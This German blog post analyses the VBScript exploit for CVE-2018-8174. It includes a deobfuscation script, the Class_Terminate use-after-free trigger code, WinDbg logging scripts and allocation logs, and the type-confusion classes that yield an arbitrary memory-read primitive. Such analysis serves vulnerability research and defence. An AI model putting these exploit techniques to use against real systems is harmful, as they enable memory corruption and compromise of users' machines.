
Analyse des VBS-Exploits CVE-2018-8174
Als dieser Exploit Ende April/Anfang Mai auftauchte, weckte er mein Interesse, denn trotz starker Verschleierung war die Codestruktur gut organisiert und der Code zur Ausnutzung der Sicherheitslücke klein genug, um die Analyse zu vereinfachen. Ich lud den POC von GitHub herunter und entschied, dass er ein guter Kandidat wäre, um ihn genauer unter die Haube zu nehmen. Zu diesem Zeitpunkt waren bereits zwei Analysen veröffentlicht, die erste von 360 und die zweite von Kaspersky. Beide halfen mir zu verstehen, wie es funktionierte, aber sie reichten nicht aus, um jeden Aspekt des Exploits tiefgehend zu verstehen. Deshalb habe ich beschlossen, ihn selbst zu analysieren und meine Erkenntnisse zu teilen.
Zuerst habe ich, um die Integer-Verschleierung zu entfernen, eine Regex-Ersetzung in einem Python-Skript verwendet:
import re
def process(matchobj):
line = matchobj.group(1)
line = line.lower().replace('&h', '0x')
return str(eval(line)) # extremly safe :)
data = open('analysis.vbs', 'r').read()
result = re.sub('\((&h[^\)]+)\)', process, data)
open('result.vbs', 'w').write(result)
Was die verschleierten Namen betrifft, habe ich sie während der Analyse schrittweise umbenannt. Diese Analyse liest sich am besten zusammen mit dem Quellcode, auf den am Ende verlinkt wird.
Die Sicherheitslücke tritt auf, wenn ein Objekt beendet und die benutzerdefinierte Funktion Class_Terminate() aufgerufen wird. In dieser Funktion wird eine Referenz auf das freigegebene Objekt in UafArray gespeichert. Von nun an bezieht sich UafArray(i) auf das gelöschte Objekt.
Class ClassTerminateA
Private Sub Class_Terminate()
Set UafArrayA(UafCounter)=FreedObjectArray(1)
UafCounter=UafCounter+1
FreedObjectArray(1)=1 ' fix ref counter
End Sub
End Class
...
UafCounter=0
For idx=0 To 6
ReDim FreedObjectArray(1)
Set FreedObjectArray(1)=New ClassTerminateA
Erase FreedObjectArray
Next
Beachten Sie auch die letzte Zeile in Class_Terminate(). Wenn wir das ClassTerminate-Objekt in UafArray kopieren, wird sein Referenzzähler erhöht. Um das auszugleichen, geben wir es erneut frei, indem wir FreedObjectArray einen anderen Wert zuweisen. Ohne diesen Ausgleich würde der Speicher des Objekts trotz des Aufrufs von Class_Terminate nicht freigegeben und das nächste Objekt würde nicht an seiner Stelle allokiert.

Das Erstellen und Löschen neuer Objekte wird in einer Schleife siebenmal wiederholt; danach wird ein neues Objekt der Klasse ReuseClass erstellt. Es wird in demselben Speicherbereich allokiert, der zuvor von den 7 ClassTerminate-Instanzen belegt war.
Um das besser zu verstehen, hier ein einfaches WinDbg-Skript, das alle diese Allokationen protokolliert:
bp vbscript!VBScriptClass::TerminateClass ".printf \"Class %mu at %x, terminate called\\n\", poi(@ecx + 0x24), @ecx; g";
bp vbscript!VBScriptClass::Release ".printf \"Class %mu at: %x ref counter, release called: %d\\n\", poi(@eax + 0x24), @ecx, poi(@eax + 0x4); g";
bp vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g";
Hier ist das Allokationsprotokoll der Funktion UafTrigger:
Class EmptyClass created at 3a7d90
Class EmptyClass created at 3a7dc8
...
Class ReuseClass created at 22601a0
Class ReuseClass created at 22601d8
Class ReuseClass created at 2260210
...
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 22605c8
...
Class ClassTerminateB created at 2260600
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 1
Class ClassTerminateB at 2260600, terminate called
Class ClassTerminateB at: 70541748 ref counter, release called: 5
Class ClassTerminateB at: 70541748 ref counter, release called: 4
Class ClassTerminateB at: 70541748 ref counter, release called: 3
Class ClassTerminateB at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 2260600
Wir können sofort sehen, dass ReuseClass tatsächlich in demselben Speicher allokiert wird, der zuvor den 7 Instanzen von ClassTerminate zugewiesen war.
Dies wird zweimal wiederholt. Am Ende haben wir zwei Objekte, auf die über UafArrays verwiesen wird. Keine dieser Referenzen ist im Referenzzähler des Objekts berücksichtigt.
In diesem Protokoll können wir auch bemerken, dass es selbst nach dem Aufruf von Class_Terminate einige Objektmanipulationen gibt, die dessen Referenzzähler verändern.
Aus diesem Grund würde man, wenn man diesen Zähler nicht in Class_Terminate ausgleichen würde, so etwas wie Folgendes erhalten:
Class ClassTerminateA created at 2240708
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 1
Class ClassTerminateA at 2240708, terminate called
Class ClassTerminateA at: 6c161748 ref counter, release called: 5
Class ClassTerminateA at: 6c161748 ref counter, release called: 4
Class ClassTerminateA at: 6c161748 ref counter, release called: 3
Class ReuseClass created at 2240740
Unterschiedliche Allokationsadressen. Der Exploit würde die Use-after-Free-Bedingung nicht erzeugen können.
Nachdem wir diese beiden Objekte mit jeweils 7 nicht gezählten Referenzen erstellt haben, haben wir eine Primitive zum beliebigen Speicherlesen etabliert.
Es gibt zwei ähnliche Klassen, ReuseClass und FakeReuseClass. Indem man die erste Klasse durch die zweite ersetzt, kommt es zu einer Typkonfusion beim Mitglied mem.
Class ReuseClass
Dim mem
Function P
End Function
Function SetProp(Value)
mem=Value ' will actually call Default Poperty Get
SetProp=0
End Function
End Class
Class FakeReuseClass
Dim mem
Function ReadBstrValll
ReadBstrValll=LenB(mem(some_memory+8))
End Function
Function Q
End Function
End Class